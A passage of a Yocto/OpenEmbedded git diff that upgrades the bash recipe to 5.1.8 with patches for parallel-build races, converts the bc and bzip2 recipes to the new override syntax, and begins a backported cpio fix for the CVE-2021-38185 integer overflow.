-fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= -c ../bash-5.1/redir.c
+In file included from ../../bash-5.1/builtins/../../bash-5.1/builtins/ulimit.def:95:
+pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
+ 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
+ | ^
+make[1]: *** [Makefile:119: ulimit.o] Error 1
+make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
+make: *** [Makefile:737: builtins/libbuiltins.a] Error 1
+make: *** Waiting for unfinished jobs....
+In file included from ../bash-5.1/redir.c:61:
+./builtins/pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
+ 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
+ | ^
+make: *** [Makefile:101: redir.o] Error 1
+WARNING: exit code 1 from a shell command.
+
+which happens since builtins/ulimit.o depends on pipesize.h as well as a top
+level dependency. This means:
+
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
+
+races with:
+
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) DEBUG=${DEBUG} targets ) || exit 1
+
+Hack around this by forcing BUILTINS_LIBRARY onto pipesize.h as a dependency.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-bash/2021-01/msg00152.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: bash-5.1/Makefile.in
+===================================================================
+--- bash-5.1.orig/Makefile.in
++++ bash-5.1/Makefile.in
+@@ -746,7 +746,7 @@ ${DEFDIR}/bashgetopt.o: $(BUILTIN_SRCDIR
+ ${DEFDIR}/builtext.h: $(BUILTIN_DEFS)
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) builtext.h ) || exit 1
+
+-${DEFDIR}/pipesize.h:
++${DEFDIR}/pipesize.h: $(BUILTINS_LIBRARY)
+ @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
+
+ $(SDIR)/man2html$(EXEEXT): ${SUPPORT_SRC}/man2html.c
diff --git a/meta/recipes-extended/bash/bash/makerace2.patch b/meta/recipes-extended/bash/bash/makerace2.patch
new file mode 100644
index 0000000000..43cdd04157
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/makerace2.patch
@@ -0,0 +1,98 @@
+The main makefile can call mkbuiltins from multiple different codepaths in parallel.
+When called, it moves the existing files out the way and creates new ones, then
+compares which will break the build if timing is unlucky.
+
+The root of the problem is mkbuiltins.c creating a file but also referencing that
+file under the same name. By modifing it to allow the final name and the temp name
+to be specified, we can avoid the original reason for the moving of files around.
+This allows them to be created under a new name and then replaced if changed,
+removing any race windows around accessing the files whilst they've been
+moved or are being rewritten.
+
+See [YOCTO #14227]
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: bash-5.1.8/builtins/Makefile.in
+===================================================================
+--- bash-5.1.8.orig/builtins/Makefile.in
++++ bash-5.1.8/builtins/Makefile.in
+@@ -185,19 +185,17 @@ gen-helpfiles: tmpbuiltins.o gen-helpfil
+ $(CC_FOR_BUILD) ${CCFLAGS_FOR_BUILD} $(LDFLAGS_FOR_BUILD) -o $@ gen-helpfiles.o tmpbuiltins.o $(LIBS_FOR_BUILD)
+
+ builtext.h builtins.c: $(MKBUILTINS) $(DEFSRC)
+- @-if test -f builtins.c; then mv -f builtins.c old-builtins.c; fi
+- @-if test -f builtext.h; then mv -f builtext.h old-builtext.h; fi
+- ./$(MKBUILTINS) -externfile builtext.h -structfile builtins.c \
++ ./$(MKBUILTINS) -externfile builtext-new.h -externfinalfile builtext.h -structfile builtins-new.c \
+ -noproduction $(DIRECTDEFINE) $(HELPDIRDEFINE) $(HELPSTRINGS) $(DEFSRC)
+- @-if cmp -s old-builtext.h builtext.h 2>/dev/null; then \
+- mv old-builtext.h builtext.h; \
++ @-if ! cmp -s builtext.h builtext-new.h 2>/dev/null; then \
++ mv builtext-new.h builtext.h; \
+ else \
+- $(RM) old-builtext.h; \
++ $(RM) builtext-new.h; \
+ fi
+- @-if cmp -s old-builtins.c builtins.c 2>/dev/null; then \
+- mv old-builtins.c builtins.c; \
++ @-if ! cmp -s builtins.c builtins-new.c 2>/dev/null; then \
++ mv builtins-new.c builtins.c; \
+ else \
+- $(RM) old-builtins.c; \
++ $(RM) builtins-new.c; \
+ fi
+
+ helpdoc: gen-helpfiles
+Index: bash-5.1.8/builtins/mkbuiltins.c
+===================================================================
+--- bash-5.1.8.orig/builtins/mkbuiltins.c
++++ bash-5.1.8/builtins/mkbuiltins.c
+@@ -113,6 +113,9 @@ char *struct_filename = (char *)NULL;
+ /* The name of the external declaration file. */
+ char *extern_filename = (char *)NULL;
+
++/* The final name of the external declaration file. */
++char *extern_final_filename = (char *)NULL;
++
+ /* Here is a structure for manipulating arrays of data. */
+ typedef struct {
+ int size; /* Number of slots allocated to array. */
+@@ -230,6 +233,8 @@ main (argc, argv)
+
+ if (strcmp (arg, "-externfile") == 0)
+ extern_filename = argv[arg_index++];
++ else if (strcmp (arg, "-externfinalfile") == 0)
++ extern_final_filename = argv[arg_index++];
+ else if (strcmp (arg, "-structfile") == 0)
+ struct_filename = argv[arg_index++];
+ else if (strcmp (arg, "-noproduction") == 0)
+@@ -273,6 +278,9 @@ main (argc, argv)
+ }
+ }
+
++ if (!extern_final_filename)
++ extern_final_filename = extern_filename;
++
+ /* If there are no files to process, just quit now. */
+ if (arg_index == argc)
+ exit (0);
+@@ -1174,7 +1182,7 @@ write_file_headers (structfile, externfi
+ fprintf (structfile, "%s\n", structfile_header[i]);
+
+ fprintf (structfile, "#include \"%s\"\n",
+- extern_filename ? extern_filename : "builtext.h");
++ extern_final_filename ? extern_final_filename : "builtext.h");
+
+ fprintf (structfile, "#include \"bashintl.h\"\n");
+
+@@ -1184,7 +1192,7 @@ write_file_headers (structfile, externfi
+ if (externfile)
+ fprintf (externfile,
+ "/* %s - The list of builtins found in libbuiltins.a. */\n",
+- extern_filename ? extern_filename : "builtext.h");
++ extern_final_filename ? extern_final_filename : "builtext.h");
+ }
+
+ /* Write out any necessary closing information for
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
new file mode 100644
index 0000000000..bebaa08bfe
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -0,0 +1,59 @@
+Including m4 files directly like this confuses autotools.bbclass, remove
+the references and rely upon aclocal to collect the m4 files together
+as needed instead making it work like other autotools based projects.
+
+Upstream-Status: Inappropriate [OE configuration specific]
+RP 2021/1/20
+
+Index: bash-5.1/configure.ac
+===================================================================
+--- bash-5.1.orig/configure.ac
++++ bash-5.1/configure.ac
+@@ -688,47 +688,6 @@ if test x$SIZE = x; then
+ fi
+ AC_SUBST(SIZE)
+
+-m4_include([m4/stat-time.m4])
+-m4_include([m4/timespec.m4])
+-
+-dnl include files for gettext
+-
+-m4_include([m4/codeset.m4])
+-m4_include([m4/extern-inline.m4])
+-m4_include([m4/fcntl-o.m4])
+-m4_include([m4/gettext.m4])
+-m4_include([m4/glibc2.m4])
+-m4_include([m4/glibc21.m4])
+-m4_include([m4/host-cpu-c-abi.m4])
+-m4_include([m4/iconv.m4])
+-m4_include([m4/intdiv0.m4])
+-m4_include([m4/intl.m4])
+-m4_include([m4/intlmacosx.m4])
+-m4_include([m4/intl-thread-locale.m4])
+-m4_include([m4/intmax.m4])
+-m4_include([m4/inttypes-pri.m4])
+-m4_include([m4/inttypes.m4])
+-m4_include([m4/inttypes_h.m4])
+-m4_include([m4/lcmessage.m4])
+-m4_include([m4/lib-ld.m4])
+-m4_include([m4/lib-link.m4])
+-m4_include([m4/lib-prefix.m4])
+-m4_include([m4/lock.m4])
+-m4_include([m4/nls.m4])
+-m4_include([m4/po.m4])
+-m4_include([m4/printf-posix.m4])
+-m4_include([m4/progtest.m4])
+-m4_include([m4/pthread_rwlock_rdlock.m4])
+-m4_include([m4/size_max.m4])
+-m4_include([m4/stdint_h.m4])
+-m4_include([m4/threadlib.m4])
+-m4_include([m4/uintmax_t.m4])
+-m4_include([m4/ulonglong.m4])
+-m4_include([m4/visibility.m4])
+-m4_include([m4/wchar_t.m4])
+-m4_include([m4/wint_t.m4])
+-m4_include([m4/xsize.m4])
+-
+ dnl Turn on any extensions available in the GNU C library.
+ AC_DEFINE(_GNU_SOURCE, 1)
+
diff --git a/meta/recipes-extended/bash/bash_5.0.bb b/meta/recipes-extended/bash/bash_5.0.bb
deleted file mode 100644
index 257a03bd8b..0000000000
--- a/meta/recipes-extended/bash/bash_5.0.bb
+++ /dev/null
@@ -1,80 +0,0 @@
-require bash.inc
-
-# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-001;apply=yes;striplevel=0;name=patch001 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-002;apply=yes;striplevel=0;name=patch002 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-003;apply=yes;striplevel=0;name=patch003 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-004;apply=yes;striplevel=0;name=patch004 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-005;apply=yes;striplevel=0;name=patch005 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-006;apply=yes;striplevel=0;name=patch006 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-007;apply=yes;striplevel=0;name=patch007 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-008;apply=yes;striplevel=0;name=patch008 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-009;apply=yes;striplevel=0;name=patch009 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-010;apply=yes;striplevel=0;name=patch010 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-011;apply=yes;striplevel=0;name=patch011 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-012;apply=yes;striplevel=0;name=patch012 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-013;apply=yes;striplevel=0;name=patch013 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-014;apply=yes;striplevel=0;name=patch014 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-015;apply=yes;striplevel=0;name=patch015 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-016;apply=yes;striplevel=0;name=patch016 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-017;apply=yes;striplevel=0;name=patch017 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-018;apply=yes;striplevel=0;name=patch018 \
- file://execute_cmd.patch \
- file://mkbuiltins_have_stringize.patch \
- file://build-tests.patch \
- file://test-output.patch \
- file://run-ptest \
- file://run-bash-ptests \
- file://fix-run-builtins.patch \
- file://bash-CVE-2019-18276.patch \
- "
-
-SRC_URI[tarball.md5sum] = "2b44b47b905be16f45709648f671820b"
-SRC_URI[tarball.sha256sum] = "b4a80f2ac66170b2913efbfb9f2594f1f76c7b1afd11f799e22035d63077fb4d"
-
-SRC_URI[patch001.md5sum] = "b026862ab596a5883bb4f0d1077a3819"
-SRC_URI[patch001.sha256sum] = "f2fe9e1f0faddf14ab9bfa88d450a75e5d028fedafad23b88716bd657c737289"
-SRC_URI[patch002.md5sum] = "2f4a7787365790ae57f36b311701ea7e"
-SRC_URI[patch002.sha256sum] = "87e87d3542e598799adb3e7e01c8165bc743e136a400ed0de015845f7ff68707"
-SRC_URI[patch003.md5sum] = "af7f2dd93fd5429fb5e9a642ff74f87d"
-SRC_URI[patch003.sha256sum] = "4eebcdc37b13793a232c5f2f498a5fcbf7da0ecb3da2059391c096db620ec85b"
-SRC_URI[patch004.md5sum] = "b60545b273bfa4e00a760f2c648bed9c"
-SRC_URI[patch004.sha256sum] = "14447ad832add8ecfafdce5384badd933697b559c4688d6b9e3d36ff36c62f08"
-SRC_URI[patch005.md5sum] = "875a0bedf48b74e453e3997c84b5d8a4"
-SRC_URI[patch005.sha256sum] = "5bf54dd9bd2c211d2bfb34a49e2c741f2ed5e338767e9ce9f4d41254bf9f8276"
-SRC_URI[patch006.md5sum] = "4a8ee95adb72c3aba03d9e8c9f96ece6"
-SRC_URI[patch006.sha256sum] = "d68529a6ff201b6ff5915318ab12fc16b8a0ebb77fda3308303fcc1e13398420"
-SRC_URI[patch007.md5sum] = "411560d81fde2dc5b17b83c3f3b58c6f"
-SRC_URI[patch007.sha256sum] = "17b41e7ee3673d8887dd25992417a398677533ab8827938aa41fad70df19af9b"
-SRC_URI[patch008.md5sum] = "dd7cf7a784d1838822cad8d419315991"
-SRC_URI[patch008.sha256sum] = "eec64588622a82a5029b2776e218a75a3640bef4953f09d6ee1f4199670ad7e3"
-SRC_URI[patch009.md5sum] = "c1b3e937cd6dccbb7fd772f32812a0da"
-SRC_URI[patch009.sha256sum] = "ed3ca21767303fc3de93934aa524c2e920787c506b601cc40a4897d4b094d903"
-SRC_URI[patch010.md5sum] = "19b41e73b03602d0e261c471b53e670c"
-SRC_URI[patch010.sha256sum] = "d6fbc325f0b5dc54ddbe8ee43020bced8bd589ddffea59d128db14b2e52a8a11"
-SRC_URI[patch011.md5sum] = "414339330a3634137081a97f2c8615a8"
-SRC_URI[patch011.sha256sum] = "2c4de332b91eaf797abbbd6c79709690b5cbd48b12e8dfe748096dbd7bf474ea"
-SRC_URI[patch012.md5sum] = "1870268f62b907221b078ad109e1fa94"
-SRC_URI[patch012.sha256sum] = "2943ee19688018296f2a04dbfe30b7138b889700efa8ff1c0524af271e0ee233"
-SRC_URI[patch013.md5sum] = "40d923af4b952b01983ed4c889ae2653"
-SRC_URI[patch013.sha256sum] = "f5d7178d8da30799e01b83a0802018d913d6aa972dd2ddad3b927f3f3eb7099a"
-SRC_URI[patch014.md5sum] = "57857b22053c8167677e5e5ac5c6669b"
-SRC_URI[patch014.sha256sum] = "5d6eee6514ee6e22a87bba8d22be0a8621a0ae119246f1c5a9a35db1f72af589"
-SRC_URI[patch015.md5sum] = "c4c6ea23d09a74eaa9385438e48fdf02"
-SRC_URI[patch015.sha256sum] = "a517df2dda93b26d5cbf00effefea93e3a4ccd6652f152f4109170544ebfa05e"
-SRC_URI[patch016.md5sum] = "a682ed6fa2c2e7a7c3ba6bdeada07fb5"
-SRC_URI[patch016.sha256sum] = "ffd1d7a54a99fa7f5b1825e4f7e95d8c8876bc2ca151f150e751d429c650b06d"
-SRC_URI[patch017.md5sum] = "d9dcaa1d8e7a24850449a1aac43a12a9"
-SRC_URI[patch017.sha256sum] = "4cf3b9fafb8a66d411dd5fc9120032533a4012df1dc6ee024c7833373e2ddc31"
-SRC_URI[patch018.md5sum] = "a64d950d5de72ae590455b13e6afefcb"
-SRC_URI[patch018.sha256sum] = "7c314e375a105a6642e8ed44f3808b9def89d15f7492fe2029a21ba9c0de81d3"
-
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.1.8.bb b/meta/recipes-extended/bash/bash_5.1.8.bb
new file mode 100644
index 0000000000..9400835b8a
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.1.8.bb
@@ -0,0 +1,25 @@
+require bash.inc
+
+# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
+ file://execute_cmd.patch \
+ file://mkbuiltins_have_stringize.patch \
+ file://build-tests.patch \
+ file://test-output.patch \
+ file://run-ptest \
+ file://run-bash-ptests \
+ file://fix-run-builtins.patch \
+ file://use_aclocal.patch \
+ file://makerace.patch \
+ file://makerace2.patch \
+ "
+
+SRC_URI[tarball.sha256sum] = "0cfb5c9bb1a29f800a97bd242d19511c997a1013815b805e0fdd32214113d6be"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
index 4a51302492..37f06b72c2 100644
--- a/meta/recipes-extended/bc/bc_1.07.1.bb
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -1,5 +1,6 @@
SUMMARY = "Arbitrary precision calculator language"
HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
+DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
LICENSE = "GPLv3+"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
@@ -24,11 +25,11 @@ PACKAGECONFIG ??= "readline"
PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-do_compile_prepend() {
+do_compile:prepend() {
cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
}
-ALTERNATIVE_${PN} = "bc dc"
+ALTERNATIVE:${PN} = "bc dc"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index d4498947e8..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
lib_LTLIBRARIES = libbz2.la
-libbz2_la_LDFLAGS = -version-info 1:6:0
+libbz2_la_LDFLAGS = -version-info 1:8:0
libbz2_la_SOURCES = blocksort.c \
huffman.c \
@@ -46,7 +46,7 @@ runtest:
else echo "FAIL: sample2 decompress"; fi
@if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
else echo "FAIL: sample3 decompress"; fi
- ./bzip2-tests/run-tests.sh --tests-dir="$(PWD)/bzip2-tests"
+ ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
install-ptest:
sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
index 70eb67f1f2..ab63012922 100644
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -5,13 +5,13 @@ LZ77/LZ78-based compressors, and approaches the performance of the PPM family of
HOMEPAGE = "https://sourceware.org/bzip2/"
SECTION = "console/utils"
LICENSE = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
-LICENSE_${PN} = "bzip2-1.0.6"
-LICENSE_${PN}-dev = "bzip2-1.0.6"
-LICENSE_${PN}-dbg = "bzip2-1.0.6"
-LICENSE_${PN}-doc = "bzip2-1.0.6"
-LICENSE_${PN}-src = "bzip2-1.0.6"
-LICENSE_libbz2 = "bzip2-1.0.6"
-LICENSE_${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE:${PN} = "bzip2-1.0.6"
+LICENSE:${PN}-dev = "bzip2-1.0.6"
+LICENSE:${PN}-dbg = "bzip2-1.0.6"
+LICENSE:${PN}-doc = "bzip2-1.0.6"
+LICENSE:${PN}-src = "bzip2-1.0.6"
+LICENSE:libbz2 = "bzip2-1.0.6"
+LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
@@ -22,7 +22,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e
"
SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
- git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests \
+ git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master \
file://configure.ac;subdir=${BP} \
file://Makefile.am;subdir=${BP} \
file://run-ptest \
@@ -36,17 +36,17 @@ UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
PACKAGES =+ "libbz2"
-CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
+CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
inherit autotools update-alternatives ptest relative_symlinks
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2"
+ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
#install binaries to bzip2-native under sysroot for replacement-native
-EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
+EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
-do_configure_prepend () {
+do_configure:prepend () {
sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
}
@@ -62,9 +62,9 @@ do_install_ptest () {
sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
}
-FILES_libbz2 = "${libdir}/lib*${SOLIBS}"
+FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
-RDEPENDS_${PN}-ptest += "make bash"
+RDEPENDS:${PN}-ptest += "make bash"
-PROVIDES_append_class-native = " bzip2-replacement-native"
+PROVIDES:append:class-native = " bzip2-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
new file mode 100644
index 0000000000..6ceafeee49
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
@@ -0,0 +1,581 @@
+GNU cpio through 2.13 allows attackers to execute arbitrary code via a crafted
+pattern file, because of a dstring.c ds_fgetstr integer overflow that triggers
+an out-of-bounds heap write.
+
+CVE: CVE-2021-38185
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From e494c68a3a0951b1eaba77e2db93f71a890e15d8 Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Sat, 7 Aug 2021 12:52:21 +0300
+Subject: [PATCH 1/3] Rewrite dynamic string support.
+
+* src/dstring.c (ds_init): Take a single argument.
+(ds_free): New function.
+(ds_resize): Take a single argument. Use x2nrealloc to expand
+the storage.
+(ds_reset,ds_append,ds_concat,ds_endswith): New function.
+(ds_fgetstr): Rewrite. In particular, this fixes integer overflow.
+* src/dstring.h (dynamic_string): Keep both the allocated length
+(ds_size) and index of the next free byte in the string (ds_idx).
+(ds_init,ds_resize): Change signature.
+(ds_len): New macro.
+(ds_free,ds_reset,ds_append,ds_concat,ds_endswith): New protos.
+* src/copyin.c: Use new ds_ functions.
+* src/copyout.c: Likewise.
+* src/copypass.c: Likewise.
+* src/util.c: Likewise.
+---
+ src/copyin.c | 40 +++++++++++------------
+ src/copyout.c | 16 ++++-----
+ src/copypass.c | 34 +++++++++----------
+ src/dstring.c | 88 ++++++++++++++++++++++++++++++++++++--------------
+ src/dstring.h | 31 +++++++++---------
+ src/util.c | 6 ++--
+ 6 files changed, 123 insertions(+), 92 deletions(-)
+
+diff --git a/src/copyin.c b/src/copyin.c
+index b29f348..37e503a 100644
+--- a/src/copyin.c
++++ b/src/copyin.c
+@@ -55,11 +55,12 @@ query_rename(struct cpio_file_stat* file_hdr, FILE *tty_in, FILE *tty_out,
+ char *str_res; /* Result for string function. */
+ static dynamic_string new_name; /* New file name for rename option. */
+ static int initialized_new_name = false;
++
+ if (!initialized_new_name)
+- {
+- ds_init (&new_name, 128);
+- initialized_new_name = true;
+- }
++ {
++ ds_init (&new_name);
++ initialized_new_name = true;
++ }
+
+ if (rename_flag)
+ {
+@@ -779,37 +780,36 @@ long_format (struct cpio_file_stat *file_hdr, char const *link_name)
+ already in `save_patterns' (from the command line) are preserved. */
+
+ static void
+-read_pattern_file ()
++read_pattern_file (void)
+ {
+- int max_new_patterns;
+- char **new_save_patterns;
+- int new_num_patterns;
++ char **new_save_patterns = NULL;
++ size_t max_new_patterns;
++ size_t new_num_patterns;
+ int i;
+- dynamic_string pattern_name;
++ dynamic_string pattern_name = DYNAMIC_STRING_INITIALIZER;
+ FILE *pattern_fp;
+
+ if (num_patterns < 0)
+ num_patterns = 0;
+- max_new_patterns = 1 + num_patterns;
+- new_save_patterns = (char **) xmalloc (max_new_patterns * sizeof (char *));
+ new_num_patterns = num_patterns;
+- ds_init (&pattern_name, 128);
++ max_new_patterns = num_patterns;
++ new_save_patterns = xcalloc (max_new_patterns, sizeof (new_save_patterns[0]));
+
+ pattern_fp = fopen (pattern_file_name, "r");
+ if (pattern_fp == NULL)
+ open_fatal (pattern_file_name);
+ while (ds_fgetstr (pattern_fp, &pattern_name, '\n') != NULL)
+ {
+- if (new_num_patterns >= max_new_patterns)
+- {
+- max_new_patterns += 1;
+- new_save_patterns = (char **)
+- xrealloc ((char *) new_save_patterns,
+- max_new_patterns * sizeof (char *));
+- }
++ if (new_num_patterns == max_new_patterns)
++ new_save_patterns = x2nrealloc (new_save_patterns,
++ &max_new_patterns,
++ sizeof (new_save_patterns[0]));
+ new_save_patterns[new_num_patterns] = xstrdup (pattern_name.ds_string);
+ ++new_num_patterns;
+ }
++
++ ds_free (&pattern_name);
++
+ if (ferror (pattern_fp) || fclose (pattern_fp) == EOF)
+ close_error (pattern_file_name);
+
+@@ -1196,7 +1196,7 @@ swab_array (char *ptr, int count)
+ in the file system. */
+
+ void
+-process_copy_in ()
++process_copy_in (void)
+ {
+ char done = false; /* True if trailer reached. */
+ FILE *tty_in = NULL; /* Interactive file for rename option. */
+diff --git a/src/copyout.c b/src/copyout.c
+index 8b0beb6..26e3dda 100644
+--- a/src/copyout.c
++++ b/src/copyout.c
+@@ -594,9 +594,10 @@ assign_string (char **pvar, char *value)
+ The format of the header depends on the compatibility (-c) flag. */
+
+ void
+-process_copy_out ()
++process_copy_out (void)
+ {
+- dynamic_string input_name; /* Name of file read from stdin. */
++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of file read from stdin. */
+ struct stat file_stat; /* Stat record for file. */
+ struct cpio_file_stat file_hdr = CPIO_FILE_STAT_INITIALIZER;
+ /* Output header information. */
+@@ -605,7 +606,6 @@ process_copy_out ()
+ char *orig_file_name = NULL;
+
+ /* Initialize the copy out. */
+- ds_init (&input_name, 128);
+ file_hdr.c_magic = 070707;
+
+ /* Check whether the output file might be a tape. */
+@@ -657,14 +657,9 @@ process_copy_out ()
+ {
+ if (file_hdr.c_mode & CP_IFDIR)
+ {
+- int len = strlen (input_name.ds_string);
+ /* Make sure the name ends with a slash */
+- if (input_name.ds_string[len-1] != '/')
+- {
+- ds_resize (&input_name, len + 2);
+- input_name.ds_string[len] = '/';
+- input_name.ds_string[len+1] = 0;
+- }
++ if (!ds_endswith (&input_name, '/'))
++ ds_append (&input_name, '/');
+ }
+ }
+
+@@ -875,6 +870,7 @@ process_copy_out ()
+ (unsigned long) blocks), (unsigned long) blocks);
+ }
+ cpio_file_stat_free (&file_hdr);
++ ds_free (&input_name);
+ }
+
+
+diff --git a/src/copypass.c b/src/copypass.c
+index dc13b5b..62f31c6 100644
+--- a/src/copypass.c
++++ b/src/copypass.c
+@@ -48,10 +48,12 @@ set_copypass_perms (int fd, const char *name, struct stat *st)
+ If `link_flag', link instead of copying. */
+
+ void
+-process_copy_pass ()
++process_copy_pass (void)
+ {
+- dynamic_string input_name; /* Name of file from stdin. */
+- dynamic_string output_name; /* Name of new file. */
++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of file from stdin. */
++ dynamic_string output_name = DYNAMIC_STRING_INITIALIZER;
++ /* Name of new file. */
+ size_t dirname_len; /* Length of `directory_name'. */
+ int res; /* Result of functions. */
+ char *slash; /* For moving past slashes in input name. */
+@@ -65,25 +67,18 @@ process_copy_pass ()
+ created files */
+
+ /* Initialize the copy pass. */
+- ds_init (&input_name, 128);
+
+ dirname_len = strlen (directory_name);
+ if (change_directory_option && !ISSLASH (directory_name[0]))
+ {
